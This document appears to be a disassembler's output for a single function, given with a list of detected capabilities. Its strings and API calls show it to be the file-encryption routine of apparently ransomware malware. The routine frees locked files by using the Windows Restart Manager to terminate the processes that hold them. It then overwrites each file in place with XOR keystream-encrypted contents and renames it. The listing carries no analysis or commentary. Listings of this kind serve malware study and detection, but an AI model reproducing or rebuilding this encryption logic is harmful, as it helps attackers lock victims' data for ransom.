Function at 0x1400182f0
Capabilities:
Create restart manager session
Enumerate processes that use resource
Move file
Read file on windows
Terminate process
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x360
mov r12, rcx
xor esi, esi
lea rax, [rcx + 0x10]
mov qword [rsp + 0x100], rax
mov rcx, qword [rax]
mov rdx, qword [0x140061d80]
movabs rax, 0x7ffffffffffffffe
sub rax, rcx
cmp rax, rdx
jb 0x140019260
mov r9, r12
lea r15, [r12 + 0x18]
mov qword [rsp + 0x68], r15
cmp qword [r15], 8
jb 0x14001834f
mov r9, qword [r12]
lea rax, [0x140061d70]
cmp qword [0x140061d88], 8
cmovae rax, qword [0x140061d70]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x160]
call fcn.140008870
nop
mov rcx, r12
cmp qword [r15], 8
jb 0x140018390
mov rcx, qword [r12]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x50], rax
cmp rax, 0xffffffffffffffff
jne 0x140018617
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r12
cmp qword [r15], 8
jb 0x1400183d8
mov rdx, qword [r12]
mov r8d, eax
lea rcx, str.____Encrypt__Can_t_open:__s__error:_0x_X_n
call fcn.140001db0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
je 0x140018401
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x21
jne 0x14001918a
mov rax, r12
cmp qword [r15], 8
jb 0x14001840e
mov rax, qword [r12]
mov dword [rsp + 0x40], 0xffffffff
mov qword [rsp + 0xf0], rax
mov edi, esi
mov dword [rsp + 0x3b8], esi
mov dword [rsp + 0x60], esi
mov dword [rsp + 0x64], esi
mov rbx, rsi
lea r8, [rsp + 0x2f0]
xor edx, edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
jne 0x140018583
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rsp + 0xf0]
lea edx, [rax + 1]
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
mov r14, 0xffffffffffffffff
test eax, eax
jne 0x14001858a
nop dword [rax]
nop dword [rax + rax]
lea rax, [rsp + 0x64]
mov qword [rsp + 0x20], rax
mov r9, rbx
lea r8, [rsp + 0x3b8]
lea rdx, [rsp + 0x60]
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.RstrtMgr.DLL_RmGetList]
test eax, eax
je 0x140018506
cmp eax, 0xea
jne 0x140018574
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x3b8], eax
test rbx, rbx
je 0x1400184e2
mov rcx, rbx
call fcn.140024d94
mov eax, dword [rsp + 0x3b8]
mov ecx, eax
mov eax, 0x29c
mul rcx
cmovo rax, r14
mov rcx, rax
call fcn.140024de0
mov rbx, rax
mov eax, edi
inc edi
cmp eax, 3
jb 0x140018490
jmp 0x140018574
cmp dword [rsp + 0x64], 0
jne 0x140018574
xor r8d, r8d
xor edx, edx
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.RstrtMgr.DLL_RmShutdown]
test eax, eax
jne 0x140018574
mov edi, esi
cmp dword [rsp + 0x3b8], esi
jbe 0x140018574
nop dword [rax + rax]
mov eax, edi
imul r8, rax, 0x29c
mov r8d, dword [r8 + rbx]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r15, rax
test rax, rax
je 0x140018564
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [rsp + 0x3b8]
jb 0x140018530
mov r15, qword [rsp + 0x68]
test rbx, rbx
je 0x14001858a
mov rcx, rbx
call fcn.140024d94
jmp 0x14001858a
mov r14, 0xffffffffffffffff
mov ecx, dword [rsp + 0x40]
cmp ecx, 0xffffffff
je 0x140018599
call qword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov qword [rsp + 0xf8], 4
lea rcx, [rsp + 0xf8]
call fcn.14001e5c0
mov rcx, r12
cmp qword [r15], 8
jb 0x1400185bf
mov rcx, qword [r12]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x50], rax
cmp rax, 0xffffffffffffffff
jne 0x14001861e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r12
cmp qword [r15], 8
jb 0x140018603
mov rdx, qword [r12]
mov r8d, eax
lea rcx, str.____Encrypt__Can_t_open_after_unlock:__s__error:_0x_X_n
call fcn.140001db0
jmp 0x14001918a
mov r14, 0xffffffffffffffff
mov rdi, rax
mov qword [rsp + 0x58], rax
xor r13b, r13b
mov byte [rsp + 0x3b0], r13b
mov byte [rsp + 0x3a8], r13b
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xd8], xmm0
mov qword [rsp + 0xe8], rsi
movdqu xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xc0], rsi
lea rcx, [0x140069558]
call sub.KERNEL32.dll_AcquireSRWLockShared
nop
lea rdx, [0x1400695b0]
lea rcx, [rsp + 0xd8]
call fcn.140014d50
lea rdx, [0x1400695c8]
lea rcx, [rsp + 0xb0]
call fcn.140014d50
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0xa0], rax
sub rax, qword [rsp + 0xb0]
cmp rax, 0x100
jne 0x1400186cd
mov rax, qword [rsp + 0xe0]
sub rax, qword [rsp + 0xd8]
cmp rax, 0x28
jne 0x1400186cd
mov bl, 1
jmp 0x1400186cf
xor bl, bl
mov byte [rsp + 0x3a8], bl
jmp 0x140018708
lea rcx, [0x140069558]
call sub.KERNEL32.dll_ReleaseSRWLockShared
test bl, bl
je 0x1400190e1
mov r13, qword [r12 + 0x20]
cmp dword [0x140061c00], 0
je 0x140018785
mov rcx, r12
cmp qword [r15], 8
jb 0x140018737
mov rcx, qword [r12]
call qword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
mov r15, rax
mov rbx, qword [0x140061ca8]
mov rdi, qword [0x140061cb0]
cmp rbx, rdi
je 0x140018776
mov rdx, rbx
cmp qword [rbx + 0x18], 8
jb 0x140018760
mov rdx, qword [rbx]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140018785
add rbx, 0x20
cmp rbx, rdi
jne 0x140018753
mov eax, dword [0x140061c00]
cmp qword [r12 + 0x20], rax
cmovg r13, rax
mov r8, qword [0x140061c60]
mov rbx, r8
mov rdx, qword [0x140061c58]
sub rbx, rdx
mov rdi, qword [rsp + 0xa0]
sub rdi, qword [rsp + 0xb0]
add rbx, 0x14
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], rsi
add rbx, rdi
je 0x140018810
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x140019266
mov rdx, rbx
lea rcx, [rsp + 0x70]
call fcn.140009840
mov r15, qword [rsp + 0x70]
add rbx, r15
mov r8, rbx
sub r8, r15
xor edx, edx
mov rcx, r15
call fcn.140027310
mov qword [rsp + 0x78], rbx
mov r8, qword [0x140061c60]
mov rdx, qword [0x140061c58]
jmp 0x14001881a
mov rbx, qword [rsp + 0x78]
mov r15, qword [rsp + 0x70]
sub r8, rdx
mov rcx, r15
call fcn.140026c70
mov rcx, qword [0x140061c60]
sub rcx, qword [0x140061c58]
add rcx, r15
mov r8, rdi
mov rdx, qword [rsp + 0xb0]
call fcn.140026c70
mov rax, qword [0x140061c60]
sub rax, qword [0x140061c58]
lea rdx, [r15 + rdi]
mov qword [rdx + rax], r13
mov rcx, qword [0x140061c60]
sub rcx, qword [0x140061c58]
mov eax, dword [0x140069524]
mov dword [rdx + rcx + 8], eax
mov rcx, qword [0x140061c60]
sub rcx, qword [0x140061c58]
add rcx, rdi
mov eax, dword [0x140061c04]
mov dword [rcx + r15 + 0xc], eax
mov rcx, qword [0x140061c60]
sub rcx, qword [0x140061c58]
add rcx, rdi
mov eax, dword [0x14006952c]
mov dword [rcx + r15 + 0x10], eax
mov qword [rsp + 0x140], rsi
mov qword [rsp + 0x148], rsi
mov qword [rsp + 0x158], rsi
mov eax, dword [r12 + 0x20]
mov dword [rsp + 0x150], eax
mov eax, dword [r12 + 0x24]
mov dword [rsp + 0x154], eax
mov dword [rsp + 0x48], esi
mov dword [rsp + 0x44], esi
sub rbx, r15
lea rax, [rsp + 0x140]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x48]
mov r8d, ebx
mov rdx, r15
mov rdi, qword [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14001901c
mov eax, dword [rsp + 0x48]
cmp rax, rbx
jne 0x14001901c
mov eax, dword [0x140061c04]
mov rcx, r13
cmp r13, rax
cmovg rcx, rax
mov qword [rsp + 0xa0], rcx
mov rbx, rsi
cmp dword [0x140069514], 1
jne 0x140018e04
mov byte [rsp + 0x3a8], 0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x98], rsi
mov r8, rsi
mov qword [rsp + 0x58], rsi
mov rdx, rsi
psrldq xmm0, 8
movq qword [rsp + 0x90], xmm0
nop
cmp rbx, r13
je 0x140018c76
cmp byte [rsp + 0x3a8], 0
jne 0x140018c76
mov r15, r13
sub r15, rbx
cmp rcx, r15
cmovb r15, rcx
mov qword [rsp + 0x210], rbx
mov qword [rsp + 0x218], r15
mov qword [rsp + 0x220], rdi
mov qword [rsp + 0x228], rdx
mov qword [rsp + 0x230], r8
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x238], rax
lea rax, [rsp + 0x3a8]
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x248], rcx
mov ecx, 0x120
call fcn.140024d9c
mov rdi, rax
mov qword [rsp + 0x1e8], rax
lea rdx, [rsp + 0x210]
mov rcx, rax
call fcn.140020570
nop
lea rax, vtable.std::_Task_async_state_unsigned_long_int_.0
mov qword [rdi], rax
lea r14, [rdi + 0x110]
mov qword [r14], rsi
mov qword [r14 + 8], rsi
lea rax, [rsp + 0x180]
mov qword [rsp + 0x1f0], rax
call fcn.140016810
mov rcx, qword [rax + 8]
test rcx, rcx
je 0x140018a54
lock inc dword [rcx + 8]
mov rcx, qword [rax]
mov qword [rsp + 0x130], rcx
mov rax, qword [rax + 8]
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x180], rcx
mov qword [rsp + 0x188], rax
mov qword [rsp + 0x190], rcx
mov qword [rsp + 0x198], rsi
lea rcx, [rsp + 0x1a0]
call fcn.140023f94
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x1c0], xmm0
mov qword [rsp + 0x1d0], rsi
mov qword [rsp + 0x1b8], rsi
mov byte [rsp + 0x1b0], 0
mov word [rsp + 0x1d8], 0
lea r8, [rsp + 0x180]
mov rdx, rdi
lea rcx, [rsp + 0x200]
call fcn.140020670
cmp r14, rax
je 0x140018aee
mov rdx, rax
mov rcx, r14
call fcn.14001e3c0
mov r14, qword [rsp + 0x208]
test r14, r14
je 0x140018b2c
mov eax, 0xffffffff
lock xadd dword [r14 + 8], eax
cmp eax, 1
jne 0x140018b2c
mov rax, qword [r14]
mov rcx, r14
call qword [rax]
mov eax, 0xffffffff
lock xadd dword [r14 + 0xc], eax
cmp eax, 1
jne 0x140018b2c
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 8]
mov byte [rdi + 0xc2], 1
mov qword [rsp + 0xc8], rdi
mov byte [rsp + 0xd0], 1
lock inc dword [rdi + 8]
mov r14, 0xffffffffffffffff
mov eax, r14d
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140018b7f
mov rcx, qword [rdi + 0xc8]
test rcx, rcx
je 0x140018b71
mov rax, qword [rcx]
mov rdx, rdi
call qword [rax]
jmp 0x140018b7f
mov rax, qword [rdi]
mov edx, 1
mov rcx, rdi
call qword [rax]
nop
mov rax, qword [rsp + 0x90]
cmp rax, qword [rsp + 0x98]
je 0x140018bae
mov rcx, rsi
mov qword [rsp + 0xc8], rcx
mov qword [rax], rdi
mov byte [rax + 8], 1
add qword [rsp + 0x90], 0x10
jmp 0x140018bd3
lea r8, [rsp + 0xc8]
mov rdx, qword [rsp + 0x90]
lea rcx, [rsp + 0x88]
call fcn.14001f490
mov rcx, qword [rsp + 0xc8]
test rcx, rcx
je 0x140018c10
mov eax, r14d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140018c10
mov rcx, qword [rsp + 0xc8]
mov r8, qword [rcx + 0xc8]
test r8, r8
je 0x140018c06
mov rax, qword [r8]
mov rdx, rcx
mov rcx, r8
call qword [rax]
jmp 0x140018c10
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
add rbx, r15
mov rax, r15
shr rax, 6
mov r8, qword [rsp + 0x58]
add r8, rax
mov qword [rsp + 0x58], r8
and r15d, 0x3f
mov edx, 0x40
sub rdx, r15
mov r15, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x50]
cmp dword [0x140069524], 1
je 0x140018c53
mov rcx, qword [rsp + 0xa0]
jmp 0x140018980
mov rcx, r13
sub rcx, rbx
mov eax, dword [0x14006952c]
cmp rax, rcx
cmovge rax, rcx
add rbx, rax
mov rcx, qword [rsp + 0xa0]
jmp 0x140018980
mov rbx, rsi
cmp byte [rsp + 0x3a8], 0
jne 0x140018d4e
mov rcx, rsi
mov qword [rsp + 0x58], rcx
mov rax, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x88]
sub rax, rdi
sar rax, 4
cmp rcx, rax
jae 0x140018d56
mov rax, rcx
shl rax, 4
add rax, rdi
mov rdi, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0xa0], rdi
mov byte [rsp + 0xa8], 1
test rdi, rdi
je 0x14001926c
cmp byte [rdi + 0xb8], 0
jne 0x14001926c
mov rax, qword [rdi]
mov dl, 1
mov rcx, rdi
call qword [rax + 0x10]
mov r15d, dword [rax]
mov eax, r14d
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140018d23
mov rcx, qword [rdi + 0xc8]
test rcx, rcx
je 0x140018d16
mov rax, qword [rcx]
mov rdx, rdi
call qword [rax]
jmp 0x140018d23
mov rax, qword [rdi]
mov edx, 1
mov rcx, rdi
call qword [rax]
add rbx, r15
mov rcx, r13
sub rcx, rbx
mov eax, dword [0x14006952c]
cmp rax, rcx
cmovge rax, rcx
add rbx, rax
mov rcx, qword [rsp + 0x58]
inc rcx
mov r15, qword [rsp + 0x70]
jmp 0x140018c8a
mov rdi, qword [rsp + 0x88]
test rdi, rdi
je 0x140018fba
cmp rdi, qword [rsp + 0x90]
je 0x140018dc3
nop dword [rax]
mov rcx, qword [rdi]
test rcx, rcx
je 0x140018da8
mov eax, r14d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140018da8
mov r8, qword [rcx + 0xc8]
test r8, r8
je 0x140018d9e
mov rax, qword [r8]
mov rdx, rcx
mov rcx, r8
call qword [rax]
jmp 0x140018da8
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
add rdi, 0x10
cmp rdi, qword [rsp + 0x90]
jne 0x140018d70
mov r15, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x98]
sub rdx, rdi
and rdx, 0xfffffffffffffff0
mov rax, rdi
cmp rdx, 0x1000
jb 0x140018df7
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019277
mov rcx, rdi
call fcn.140024d94
jmp 0x140018fba
call fcn.140024de0
mov rdi, rax
mov qword [rsp + 0x3a8], rax
mov r14, qword [rsp + 0xa0]
mov r8, r14
xor edx, edx
mov rcx, rax
call fcn.140027310
mov rdx, qword [rsp + 0xd8]
lea r8, [rdx + 0x20]
lea rcx, [rsp + 0x260]
call fcn.140015830
mov qword [rsp + 0x2e0], 0x40
mov qword [rsp + 0x290], 0
test r13, r13
je 0x140018fb2
nop dword [rax]
nop word [rax + rax]
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rsi
mov qword [rsp + 0x128], rsi
mov dword [rsp + 0x120], ebx
mov rax, rbx
shr rax, 0x20
mov dword [rsp + 0x124], eax
mov r15, r13
sub r15, rbx
cmp r14, r15
cmovb r15, r14
lea rax, [rsp + 0x110]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x44]
mov r8d, r15d
mov rdx, rdi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140018fad
mov r8d, dword [rsp + 0x44]
mov r14d, r8d
cmp r8, r15
jne 0x140018fad
test r8d, r8d
je 0x140018f4c
mov rax, qword [rsp + 0x2e0]
cmp rax, 0x40
jb 0x140018f19
lea rdx, [rsp + 0x2a0]
lea rcx, [rsp + 0x260]
call fcn.140015e10
mov rax, rsi
mov qword [rsp + 0x2e0], rax
movzx eax, byte [rsp + rax + 0x2a0]
xor byte [rdi], al
mov rax, qword [rsp + 0x2e0]
inc rax
mov qword [rsp + 0x2e0], rax
inc rdi
sub r14, 1
jne 0x140018ef3
mov r8d, dword [rsp + 0x44]
mov rdi, qword [rsp + 0x3a8]
lea rax, [rsp + 0x110]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x48]
mov rdx, rdi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140018fad
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x48], eax
jne 0x140018fad
add rbx, r15
cmp dword [0x140069524], 1
jne 0x140018f9c
mov rdx, r13
sub rdx, rbx
mov eax, dword [0x14006952c]
cmp rax, rdx
cmovge rax, rdx
add rbx, rax
cmp rbx, r13
mov r14, qword [rsp + 0xa0]
jne 0x140018e70
mov r15, qword [rsp + 0x70]
mov rcx, rdi
call fcn.140024d94
cmp rbx, r13
jne 0x140018fe6
mov rdx, r12
mov r14, qword [rsp + 0x68]
cmp qword [r14], 8
jb 0x140018fd1
mov rdx, qword [r12]
lea rcx, str.___Encrypt__Encrypted:__s_n
call fcn.140001db0
mov bl, 1
mov rdi, qword [rsp + 0x50]
jmp 0x14001904b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r12
mov r14, qword [rsp + 0x68]
cmp qword [r14], 8
jb 0x140018ffe
mov rdx, qword [r12]
mov qword [rsp + 0x20], r13
mov r9, rbx
mov r8d, eax
lea rcx, str.____Encrypt__Not_encrypted:__s__error:_0x_X___lld____lld_n
call fcn.140001db0
mov rdi, qword [rsp + 0x50]
jmp 0x140019043
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r12
mov r14, qword [rsp + 0x68]
cmp qword [r14], 8
jb 0x140019034
mov rdx, qword [r12]
mov r8d, eax
lea rcx, str.____Encrypt__Can_t_write_information:__s__error:_0x_X_n
call fcn.140001db0
movzx ebx, byte [rsp + 0x3b0]
test r15, r15
je 0x140019088
mov rdx, qword [rsp + 0x80]
sub rdx, r15
mov rax, r15
cmp rdx, 0x1000
jb 0x140019080
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001927d
mov rcx, r15
call fcn.140024d94
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x140019104
lea rdx, [rsp + 0x160]
cmp qword [rsp + 0x178], 8
cmovae rdx, qword [rsp + 0x160]
mov rcx, r12
cmp qword [r14], 8
jb 0x1400190bc
mov rcx, qword [r12]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x140019104
mov rdx, r12
cmp qword [r14], 8
jb 0x1400190d3
mov rdx, qword [r12]
lea rcx, str.____Encrypt__Not_moved:__s_n
call fcn.140001db0
jmp 0x140019104
mov rdx, r12
cmp qword [r15], 8
jb 0x1400190ee
mov rdx, qword [r12]
lea rcx, str.____Encrypt__Can_t_run_for:__s_n
call fcn.140001db0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rsp + 0xb0]
test rcx, rcx
je 0x140019147
mov rdx, qword [rsp + 0xc0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019141
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019283
call fcn.140024d94
nop
mov rcx, qword [rsp + 0xd8]
test rcx, rcx
je 0x14001918a
mov rdx, qword [rsp + 0xe8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019184
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019289
call fcn.140024d94
nop
mov rdx, qword [rsp + 0x178]
cmp rdx, 8
jb 0x1400191d3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400191cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001928f
call fcn.140024d94
nop
jmp 0x1400191df
test r12, r12
je 0x140019247
mov rdx, qword [r12 + 0x18]
cmp rdx, 8
jb 0x140019221
lea rdx, [rdx*2 + 2]
mov rcx, qword [r12]
cmp rdx, 0x1000
jb 0x14001921c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14001925a
mov rcx, r8
call fcn.140024d94
mov rax, qword [rsp + 0x100]
mov qword [rax], rsi
mov qword [r12 + 0x18], 7
mov word [r12], si
mov edx, 0x28
mov rcx, r12
call fcn.140024d94
add rsp, 0x360
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
call fcn.140035ab4
nop
call fcn.1400016c0
nop
call fcn.140006130
nop
mov ecx, 4
call fcn.140017cd0
nop
call fcn.140035ab4
nop
call fcn.140035ab4
nop
call fcn.140035ab4
nop
call fcn.140035ab4
nop
call fcn.140035ab4
int3